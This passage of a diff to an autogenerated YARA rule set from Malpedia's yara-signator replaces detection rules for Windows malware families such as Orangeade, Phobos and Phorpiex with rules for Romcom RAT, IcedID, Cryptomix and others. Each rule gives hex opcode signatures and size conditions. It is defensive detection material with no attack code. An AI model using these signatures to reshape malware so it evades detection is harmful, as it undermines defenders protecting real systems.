+		$sequence_7 = { 8d34c0 89442424 01f6 01d1 8b542408 11fe 8b7c241c }
+		$sequence_8 = { 89d3 89442418 89f8 039c2480010000 83d100 f7642460 01d8 }
+		$sequence_9 = { 660f70d044 660fefe6 f30f6fb42460050000 660fdbe2 660fefdc 660fefa424a0000000 660f6fc1 }
 
 	condition:
-		7 of them and filesize <466944
+		7 of them and filesize <1263616
 }
-rule MALPEDIA_Win_Orangeade_Auto : FILE
+rule MALPEDIA_Win_Romcom_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a790e493-320f-57de-9b62-d13796c94676"
+		id = "38f54401-b8aa-5a45-84bf-23c46fbb1d9b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orangeade"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orangeade_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.romcom_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.romcom_rat_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "bc9cfd6680cc4f32cd41e9edf43afa43b54975c598906df96ea95e31fa6c1612"
+		logic_hash = "0162bd825b9587687f6d0e11e69966dd0894464ab2922749a2bae5afcccbf5b8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138070,32 +145068,32 @@ rule MALPEDIA_Win_Orangeade_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bb42428050000 50 8bce e8???????? c744241001000000 }
-		$sequence_1 = { 50 8d942470020000 51 52 ff15???????? }
-		$sequence_2 = { f3ab 66ab aa 8d842468020000 50 }
-		$sequence_3 = { 6881000000 6a00 c784249428010000000000 ff15???????? 8bf0 56 }
-		$sequence_4 = { aa b93f000000 33c0 8dbc2465010000 }
-		$sequence_5 = { 8d4c2424 c684248828010002 e8???????? 8d4c2410 c684248828010001 e8???????? 8d4c2414 }
-		$sequence_6 = { b93f000000 33c0 8d7c2479 885c2478 f3ab }
-		$sequence_7 = { 68???????? 8d4c2410 e8???????? 68???????? 6884000000 53 ff15???????? }
-		$sequence_8 = { e8???????? 83c404 8d4c2424 c684248828010002 }
-		$sequence_9 = { 50 8d4c2410 c684248400000001 e8???????? }
+		$sequence_0 = { b910000000 e8???????? 488945a0 4885c0 7410 44897008 488d0d6fc20400 }
+		$sequence_1 = { d3e8 49895108 418901 49895110 0fb60a 83e10f 4a0fbe8401a0ac0600 }
+		$sequence_2 = { 488d95e0310000 488d4dc0 e8???????? 448bc6 33d2 488d8de0310000 e8???????? }
+		$sequence_3 = { 488b01 488b4030 ff15???????? 83f8ff 7406 41884709 eb03 }
+		$sequence_4 = { 482bc1 4883c0f8 4883f81f 0f877d030000 e8???????? 488d4580 48837d9808 }
+		$sequence_5 = { 8a4709 3a4508 744b 84c9 7542 488b0f 4885c9 }
+		$sequence_6 = { 488d0dbac50400 488908 eb03 498bc6 4c8bc3 488bd0 488bcf }
+		$sequence_7 = { eb04 4d895d00 b801000000 41884508 488b542468 eb05 b801000000 }
+		$sequence_8 = { f20f10fc f20f58cc f20f10d1 f20f10c1 4c8d0d39090300 f20f101d???????? f20f100d???????? }
+		$sequence_9 = { 7510 488d0d12c90500 e8???????? 85c0 742e 32c0 eb33 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <1211392
 }
-rule MALPEDIA_Win_Zxxz_Auto : FILE
+rule MALPEDIA_Win_Svcready_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "47a6bdd7-280d-5812-824e-6730815c0329"
+		id = "18ab3505-c0ef-5267-b797-184b8eb52424"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zxxz_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.svcready_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "1197698292204c5d5bb6df77b7c0541f4794374692dc94417033752fb1a653dc"
+		logic_hash = "e011f730891f501adbcafbb04605066e1d9bcba49b0031ae67a9bae5fc387ad9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138109,34 +145107,34 @@ rule MALPEDIA_Win_Zxxz_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 40 84c9 75ef bf???????? e8???????? 84c0 }
-		$sequence_1 = { 8b4c244c 64890d00000000 59 5f 5e 5d 8b4c2434 }
-		$sequence_2 = { be04010000 51 89742424 6689842424010000 e8???????? }
-		$sequence_3 = { 84c9 75f9 2bc2 8bd0 33c0 33c9 }
-		$sequence_4 = { c3 81ecc4010000 a1???????? 33c4 898424bc010000 }
-		$sequence_5 = { 7424 8b1d???????? 8d54242c 57 }
-		$sequence_6 = { ff15???????? 85c0 7539 3805???????? }
-		$sequence_7 = { 7403 8811 41 40 803800 75f0 }
-		$sequence_8 = { 681c020000 68???????? ffd6 83c40c 68???????? }
-		$sequence_9 = { ff15???????? 8b3d???????? 8bf0 56 6a01 }
+		$sequence_0 = { 33c8 c1ca0d 33ce 8bc3 33c1 c1ce03 894c2418 }
+		$sequence_1 = { 83611000 c741140f000000 68???????? c60100 e8???????? 8365fc00 }
+		$sequence_2 = { 59 59 895dc0 895dc4 895dc8 8b4df4 8bc6 }
+		$sequence_3 = { 8904d1 56 ff742410 8d4f04 e8???????? 8b44240c 5f }
+		$sequence_4 = { 8bd8 8a0b 80f97f 0f855fffffff 8b54240c 8b4d18 }
+		$sequence_5 = { d1cb 33d5 8bc7 c1e003 33da c1cd07 }
+		$sequence_6 = { 33c3 8bd7 33c5 0bd3 8bda 0bd1 33d9 }
+		$sequence_7 = { e8???????? 83c414 eb1a 53 57 e8???????? 668b442430 }
+		$sequence_8 = { c645fc01 8d45d8 ff7508 53 6a10 83ec18 8bcc }
+		$sequence_9 = { 7607 bbffffff7f eb0a b816000000 3bd8 0f42d8 8d4b01 }
 
 	condition:
-		7 of them and filesize <4142080
+		7 of them and filesize <1187840
 }
-rule MALPEDIA_Win_Maggie_Auto : FILE
+rule MALPEDIA_Win_Graphdrop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d5276a3c-46d0-5873-87dd-9d6cf0c2cf8b"
+		id = "9b2ea7f1-3511-52b3-a5e3-7dff660f4219"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.maggie_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphdrop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphdrop_auto.yar#L1-L112"
 		license_url = "N/A"
-		logic_hash = "41d76bd3fbb547d408b10f3113f1f0a7db8f68879c6d91dc7c6cf7b7ea8b4803"
+		logic_hash = "f69680c5241d19c09af86db48aaa89e34bb562d83e95c226a91b7e2e978f1c7f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -138148,34 +145146,34 @@ rule MALPEDIA_Win_Maggie_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? e8???????? 84c0 74ec e8???????? }
-		$sequence_1 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 }
-		$sequence_2 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 1bc0 }
-		$sequence_3 = { 750f ff15???????? 2d33270000 f7d8 1bc0 }
-		$sequence_4 = { ff15???????? 83f8ff 750f ff15???????? 2d33270000 f7d8 }
-		$sequence_5 = { 83f8ff 750f ff15???????? 2d33270000 f7d8 }
-		$sequence_6 = { b8ff000000 663b05???????? 7505 e8???????? e8???????? 84c0 }
-		$sequence_7 = { 663b05???????? 7505 e8???????? e8???????? 84c0 }
-		$sequence_8 = { 7511 ff15???????? 85c0 7407 33c0 }
-		$sequence_9 = { 7511 ff15???????? 85c0 7407 33c0 e9???????? }
+		$sequence_0 = { 4154 90 415c 90 }
+		$sequence_1 = { 4155 49c7c501000000 4150 4152 415a }
+		$sequence_2 = { 52 0f77 90 5a }
+		$sequence_3 = { 0f77 0f77 5b 0f77 }
+		$sequence_4 = { 49c7c501000000 4150 4152 415a 4158 }
+		$sequence_5 = { 52 50 58 5a 49ffc9 }
+		$sequence_6 = { 49c7c501000000 4150 4152 415a 4158 49ffcd }
+		$sequence_7 = { 4150 4152 415a 4158 }
+		$sequence_8 = { 4155 49c7c501000000 4150 4152 415a 4158 49ffcd }
+		$sequence_9 = { 4152 415a 4158 49ffcd }
 
 	condition:
-		7 of them and filesize <611328
+		7 of them and filesize <4186112
 }
-rule MALPEDIA_Win_Phorpiex_Auto : FILE
+rule MALPEDIA_Win_Cryptomix_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "eb226bf1-84a3-5e5c-8655-1f02f1d972a0"
+		id = "9865a2c1-f352-5196-8a74-a585373e6231"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phorpiex_auto.yar#L1-L284"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptomix_auto.yar#L1-L173"
 		license_url = "N/A"
-		logic_hash = "626e70970105507345b3f584dcd1a33bae9d4d1c587f31ce85f081908c2a5392"
+		logic_hash = "2b59fc336b11257878a1c3e0c2e35ea57cb53b57126b62f006b040ede13bda6d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -138187,52 +145185,38 @@ rule MALPEDIA_Win_Phorpiex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 ff15???????? ff15???????? 50 e8???????? }
-		$sequence_1 = { ff15???????? 85c0 740f 6a07 }
-		$sequence_2 = { ff15???????? 85c0 741f 6880000000 }
-		$sequence_3 = { 6a20 6a00 6a00 6a00 8b5508 52 6a00 }
-		$sequence_4 = { e8???????? 83c410 6a00 6a02 6a02 6a00 6a00 }
-		$sequence_5 = { 6a01 6a00 68???????? e8???????? 83c40c 33c0 }
-		$sequence_6 = { e8???????? 99 b90d000000 f7f9 }
-		$sequence_7 = { 52 ff15???????? 6a00 6a00 6a00 6a00 68???????? }
-		$sequence_8 = { 50 e8???????? 83c404 e8???????? e8???????? ff15???????? }
-		$sequence_9 = { 68???????? ff15???????? 8d85f8fdffff 50 68???????? }
-		$sequence_10 = { 6a00 ff15???????? 85c0 7418 ff15???????? }
-		$sequence_11 = { 6a01 ff15???????? ff15???????? b001 }
-		$sequence_12 = { 6a00 682a800000 6a00 ff15???????? }
-		$sequence_13 = { 52 683f000f00 6a00 68???????? 6802000080 ff15???????? 85c0 }
-		$sequence_14 = { 68???????? ff15???????? e9???????? 8d45fc }
-		$sequence_15 = { 50 ff15???????? 8945fc 837dfc00 7416 8b4df8 }
-		$sequence_16 = { f7f9 81c210270000 52 e8???????? }
-		$sequence_17 = { e8???????? 99 b930750000 f7f9 81c210270000 }
-		$sequence_18 = { 50 e8???????? 59 59 85c0 7573 }
-		$sequence_19 = { 3d00010000 7504 83c8ff c3 8b542404 }
-		$sequence_20 = { 7508 6a00 ff15???????? 6804010000 }
-		$sequence_21 = { 6a21 50 e8???????? c60000 }
-		$sequence_22 = { e8???????? 83c41c 6880000000 8d4c240c 51 ff15???????? 6a00 }
-		$sequence_23 = { 52 e8???????? 99 b960ea0000 f7f9 }
-		$sequence_24 = { 6880000000 8d8424b4000000 50 6a0c 8d4c2420 51 6800142d00 }
-		$sequence_25 = { 83790c00 7419 83791800 7418 83c130 83c004 81f9???????? }
-		$sequence_26 = { 72f7 53 33c0 56 57 663bc2 }
-		$sequence_27 = { 56 57 68e8030000 ff15???????? e8???????? be???????? }
-		$sequence_28 = { 50 8d45ec 50 6805000020 }
-		$sequence_29 = { 8d45f8 50 8d45e4 50 6805000020 }
+		$sequence_0 = { c3 68f0767c2a 6a04 e8???????? 59 59 }
+		$sequence_1 = { 02f8 0fb6cf 8d7601 0fb60439 8846ff 881439 33c9 }
+		$sequence_2 = { e8???????? 59 eb03 8b5df0 ff75f8 e8???????? }
+		$sequence_3 = { 7504 6a08 eb35 83f804 }
+		$sequence_4 = { ff4d08 8b4dfc 8ad8 75cc 5f }
+		$sequence_5 = { 59 59 ffd0 83f87a 7413 56 57 }
+		$sequence_6 = { 56 683f000f00 56 56 56 53 57 }
+		$sequence_7 = { ffd0 c3 686ea4ffa5 6a05 }
+		$sequence_8 = { ffd6 85c0 0f856a010000 68???????? 8d85c4f9ffff }
+		$sequence_9 = { 837d0c01 8bbdb8f9ffff a1???????? 68???????? }
+		$sequence_10 = { 68???????? 57 ffd0 ff75fc e8???????? }
+		$sequence_11 = { 8bf1 6a01 899584efffff 89b58cefffff 898588efffff ff15???????? 6808020000 }
+		$sequence_12 = { 8d85c4f9ffff 50 ffd7 85c0 7460 68???????? }
+		$sequence_13 = { 8b35???????? 68007d0000 6a40 c745f8e8030000 }
+		$sequence_14 = { 6a00 6a00 ff15???????? 6896000000 ff15???????? 8b9d80efffff 8d8598f9ffff }
+		$sequence_15 = { 68???????? 56 e8???????? 59 59 85c0 7759 }
 
 	condition:
-		7 of them and filesize <2490368
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Darkdew_Auto : FILE
+rule MALPEDIA_Win_Magala_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0ed49e32-b5ea-5f63-b18e-3ccfdc3576f0"
+		id = "57b76c6b-52c3-5f25-9fd2-257d2fe2adf4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkdew_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magala_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "0cd505ddc1a03cf19308335c9ef43a0054cd013c3658d925b20aa0cf71f6aa36"
+		logic_hash = "bd9ee6cce82c810cf18ac629b3f76ce4da7e66a1f258b71b1396e2e5be340ce0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138246,34 +145230,34 @@ rule MALPEDIA_Win_Darkdew_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b55d0 c745b400000000 c745b80f000000 c645a400 83fa08 722e 8b4dbc }
-		$sequence_1 = { 03c0 660f283485c0840110 baef7f0000 2bd1 }
-		$sequence_2 = { 7202 8b12 8bca c745ac00000000 33c0 c745b007000000 }
-		$sequence_3 = { 8d4d9c 8d45d4 c78586feffff00000000 0f434d9c ba14060000 }
-		$sequence_4 = { c645fc11 8b55cc 83fa08 7232 8b4db8 8d145502000000 8bc1 }
-		$sequence_5 = { 6a00 ff15???????? cc 55 8bec 64a100000000 6aff }
-		$sequence_6 = { b991000000 8dbc2470020000 8bf3 f3a5 8bf0 8dbc24b4040000 8d842480030000 }
-		$sequence_7 = { e8???????? 8bf8 c645fc19 8d55d4 837de810 }
-		$sequence_8 = { 85c0 0f8488000000 8b4df8 8d5823 8b55fc }
-		$sequence_9 = { 8db3d0feffff 8bce 83e210 8d7901 0f1f4000 }
+		$sequence_0 = { 8b4004 838c054cffffff04 8b8538ffffff 8b4004 c6840578ffffff30 2b17 744e }
+		$sequence_1 = { 8b7dd0 3bdf 0f849d000000 33c0 c745e800000000 6aff 50 }
+		$sequence_2 = { 8bcf e8???????? 56 8bd0 c645fc0c 8d4da8 e8???????? }
+		$sequence_3 = { 8a55d8 c645fc00 83f810 7242 }
+		$sequence_4 = { e8???????? 8b4df8 83c40c 837e1410 894e10 7211 }
+		$sequence_5 = { 6685c0 75f4 a1???????? 8b550c }
+		$sequence_6 = { 6a01 50 8b08 ff513c 85c0 75b8 50 }
+		$sequence_7 = { 8995e0fdffff 8955fc 8b1d???????? 0f1f8000000000 }
+		$sequence_8 = { c745e800000000 c745ec0f000000 c645d800 e8???????? c745fc00000000 8d4e04 }
+		$sequence_9 = { e8???????? 8b4df8 b853d9de75 8b75f4 33db 2bce f7e9 }
 
 	condition:
-		7 of them and filesize <279552
+		7 of them and filesize <589824
 }
-rule MALPEDIA_Win_Winmm_Auto : FILE
+rule MALPEDIA_Win_Nexster_Bot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e5922e79-076b-5a5c-ba27-8c0bb532ca1f"
+		id = "f3849f7f-92fa-5a27-8fce-5cf70a6092f1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winmm"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.winmm_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nexster_bot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nexster_bot_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "9d8038e46a83e5b1250014db0840b8d665afb5078d6d9005cce493b4024246af"
-		score = 60
-		quality = 35
+		logic_hash = "68d99297d7676950ef20645c2f54f180e697aada925cf75041287d48b2b4b344"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -138285,32 +145269,32 @@ rule MALPEDIA_Win_Winmm_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 740c 663d3000 7406 663d2000 750b 668b042e 03f5 }
-		$sequence_1 = { 03ce 7504 33c0 5e }
-		$sequence_2 = { 7d03 6a01 5f 85ff 0f8449ffffff }
-		$sequence_3 = { 89462c ff15???????? 8bce 894604 e8???????? 85c0 }
-		$sequence_4 = { 8bc8 ff5274 c3 33c0 c3 c3 56 }
-		$sequence_5 = { 83c308 bf80000000 eb1d 83e86e }
-		$sequence_6 = { e8???????? 59 eb1d 6a02 83c304 5f }
-		$sequence_7 = { 663d2000 750b 668b042e 03f5 663bc7 75c0 397c2428 }
-		$sequence_8 = { 7c02 8bfd 3b7c2428 7f5a 8b7c2428 }
-		$sequence_9 = { 83c40c 85c0 752d 83c606 }
+		$sequence_0 = { 52 e8???????? 68ff030000 8d85bd090000 }
+		$sequence_1 = { ff15???????? 668985ae010000 6a10 8d85ac010000 50 57 }
+		$sequence_2 = { 7d10 668b4c4310 66890c45186e4100 40 ebe8 33c0 }
+		$sequence_3 = { 03f9 837d1810 7208 8b5d04 }
+		$sequence_4 = { 33c0 8da42400000000 8a1485d0604100 889405000e0000 40 83f80b }
+		$sequence_5 = { 731a 8bc8 83e01f c1f905 8b0c8d20804100 c1e006 03c1 }
+		$sequence_6 = { 81c404040000 c3 53 56 57 8bf8 }
+		$sequence_7 = { 66898c24bc010000 e9???????? 8b15???????? a1???????? 8b0d???????? 899424b0010000 }
+		$sequence_8 = { 68???????? 52 e8???????? 68???????? 8d85bc110000 50 }
+		$sequence_9 = { 8a08 40 84c9 75f9 8dbdbc150000 2bc6 4f }
 
 	condition:
-		7 of them and filesize <278528
+		7 of them and filesize <245760
 }
-rule MALPEDIA_Win_Atlas_Agent_Auto : FILE
+rule MALPEDIA_Win_Orcarat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31d9d19b-f3ba-501d-964d-67da428e9e82"
+		id = "2de223cb-857a-5d4b-8d3a-323fa4ad4ded"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atlas_agent_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.orcarat_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "49564f12d410922863a80d6084c9c71952a7f941729a00c4d7e4e12f95d889bc"
+		logic_hash = "12ec16d312c505ceab125190551fe03bd174598263e03e7c0fe4b3239bc4fe94"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -138324,38 +145308,34 @@ rule MALPEDIA_Win_Atlas_Agent_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb60c0a 83e13c c1f902 03c1 }
-		$sequence_1 = { 8bc1 99 b903000000 f7f9 c1e002 }
-		$sequence_2 = { 4c8b8424c8000000 488b9424c0000000 488b8c2480000000 e8???????? 89442460 }
-		$sequence_3 = { 4c8b8424e0000000 488b9424d8000000 488b4c2468 e8???????? }
-		$sequence_4 = { 89857cffffff c645fc06 83bd7cffffff00 7417 }
-		$sequence_5 = { 898584feffff 8b8584feffff 50 8d8dd4feffff }
-		$sequence_6 = { 898588f8ffff 8b9588f8ffff 899584f8ffff c645fc07 }
-		$sequence_7 = { 4c8b8424f0000000 488b942488000000 488b8c24e0000000 e8???????? }
-		$sequence_8 = { 89857cffffff 83bd7cffffff1e 7302 eb05 }
-		$sequence_9 = { 4c8b8424f8000000 488b942400010000 488d8c24f0030000 e8???????? }
-		$sequence_10 = { 89857cffffff 8b8d18ffffff 894d80 83bd7cffffff00 }
-		$sequence_11 = { 4c8b8c2408010000 4c8d05c2930400 ba40000000 488d4c2470 }
-		$sequence_12 = { 89857cffffff 895580 8b4580 3b45dc }
-		$sequence_13 = { 4c8b8c2408010000 4c8d442460 488b9424f8000000 488b8c24f0000000 }
+		$sequence_0 = { f2ae 8d84242c110000 f7d1 50 894c2414 51 }
+		$sequence_1 = { 8d8c2418010000 50 51 8d842430110000 52 50 }
+		$sequence_2 = { 56 6a00 8d5708 6a10 }
+		$sequence_3 = { 53 8dbef4020000 51 50 }
+		$sequence_4 = { 8bf0 85f6 7451 8b442414 85c0 7421 }
+		$sequence_5 = { f2ae 8d442420 f7d1 50 894c2418 ff15???????? 50 }
+		$sequence_6 = { 303d???????? 40 00803d400023 d18a0688078a 46 018847018a46 }
+		$sequence_7 = { 5d 5b 81c418020000 c20400 6a01 8d142e }
+		$sequence_8 = { ff15???????? 85c0 0f849e010000 8b0f 53 6a01 51 }
+		$sequence_9 = { 33db 837d0000 762f 8d542410 c744241000000000 52 6800080000 }
 
 	condition:
-		7 of them and filesize <857088
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Phobos_Auto : FILE
+rule MALPEDIA_Win_Icedid_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b3fdfb89-c1ef-5439-9836-c8e32a8398db"
+		id = "f1fe8329-9566-5f3c-8226-7a3fb9936918"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.phobos_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icedid_auto.yar#L1-L298"
 		license_url = "N/A"
-		logic_hash = "2c179588b445524a4924d6ad3214734291e040f7e6e3be29f272840c2a179aff"
+		logic_hash = "35bc9d0f5535131e0ac355ad775af24bc4cac838dad6434eced01ac7afcde501"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -138367,32 +145347,54 @@ rule MALPEDIA_Win_Phobos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75fc e8???????? 59 85c0 0f845c010000 395df8 0f8453010000 }
-		$sequence_1 = { 59 8d4c0002 8bc7 2bc6 03c1 894ddc 897dd0 }
-		$sequence_2 = { 8d5c3801 e8???????? 59 8945fc 8975e4 ff15???????? 6a40 }
-		$sequence_3 = { 752e 6683f930 7409 c7450c0a000000 }
-		$sequence_4 = { 53 56 c745a044000000 ff15???????? 8945fc 3bc6 }
-		$sequence_5 = { 8bf8 57 897de0 e8???????? 83c40c 680a020000 8d5c3801 }
-		$sequence_6 = { 8d45f4 50 53 ff15???????? 56 8b35???????? ffd6 }
-		$sequence_7 = { 8bf3 2b7010 e8???????? f6472801 8d440006 59 8945fc }
-		$sequence_8 = { 7423 a900040000 7518 8b06 ff750c 8b00 ff7020 }
-		$sequence_9 = { 83c602 0fb716 83c702 6685d2 75e0 668b06 663b07 }
+		$sequence_0 = { 85c0 7511 56 57 ff15???????? }
+		$sequence_1 = { 50 6801000080 ff15???????? eb13 }
+		$sequence_2 = { 803e00 7427 6a3b 56 ff15???????? 8bf8 }
+		$sequence_3 = { ff15???????? 85c0 7420 837c241000 7419 }
+		$sequence_4 = { 56 ff15???????? 8bf8 85ff 7418 c60700 }
+		$sequence_5 = { 68???????? 6a00 ff15???????? 33c0 40 }
+		$sequence_6 = { 50 ff15???????? 8bf7 8bc6 eb02 }
+		$sequence_7 = { eb0f 6a08 ff15???????? 50 ff15???????? 8906 }
+		$sequence_8 = { e8???????? 8bf0 8d45fc 50 ff75fc 6a05 }
+		$sequence_9 = { 743f 8d5808 0fb713 8954241c }
+		$sequence_10 = { 03c2 eb5c 8d5004 89542414 8b12 85d2 }
+		$sequence_11 = { 66c16c241c0c 0fb7d2 c744241000100000 663b542410 }
+		$sequence_12 = { 47 83c302 3bfd 72c4 }
+		$sequence_13 = { 8d4508 50 0fb6440b34 50 }
+		$sequence_14 = { 89542414 8b12 85d2 7454 8d6af8 d1ed }
+		$sequence_15 = { 47 3b7820 72d1 5b 33c0 40 }
+		$sequence_16 = { ff5010 85c0 7407 33c0 e9???????? }
+		$sequence_17 = { 8a4173 a808 75f5 a804 7406 }
+		$sequence_18 = { ff15???????? 85c0 750a b8010000c0 }
+		$sequence_19 = { 41 02fd c6430503 eb21 41 0fb6c1 }
+		$sequence_20 = { 48 8bfa 48 8bf1 45 8d41ce e8???????? }
+		$sequence_21 = { 7407 41 2bcd 7515 eb0f 44 }
+		$sequence_22 = { 48 8d442458 48 8bf9 48 }
+		$sequence_23 = { 8bce 894348 48 8b15???????? }
+		$sequence_24 = { 7307 4c8b742420 eba1 488bb590020000 }
+		$sequence_25 = { 57 4883ec30 488bf2 488bd9 ff15???????? 4885c0 }
+		$sequence_26 = { 7409 8b4c2478 493b0e 741e 498b1f 4885db }
+		$sequence_27 = { 33d2 488bc8 ff15???????? 488bb590020000 4885f6 7414 ff15???????? }
+		$sequence_28 = { 33d2 488bce ff15???????? 8bd8 49891e 85c0 }
+		$sequence_29 = { 4533c0 c740c803000000 ba00000080 ff15???????? 488bf0 4883f8ff 7507 }
+		$sequence_30 = { 33ff 4d8bf0 482178d8 4c8bfa }
+		$sequence_31 = { 5d c3 488b0d???????? 488d050d1e0000 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <303104
 }
-rule MALPEDIA_Win_Casper_Auto : FILE
+rule MALPEDIA_Win_Datper_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "682d09f5-eba1-5466-8515-62dee225f20a"
+		id = "144df714-10f7-5eb5-ac00-48d1c0a0517d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.casper_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.datper_auto.yar#L1-L128"
 		license_url = "N/A"
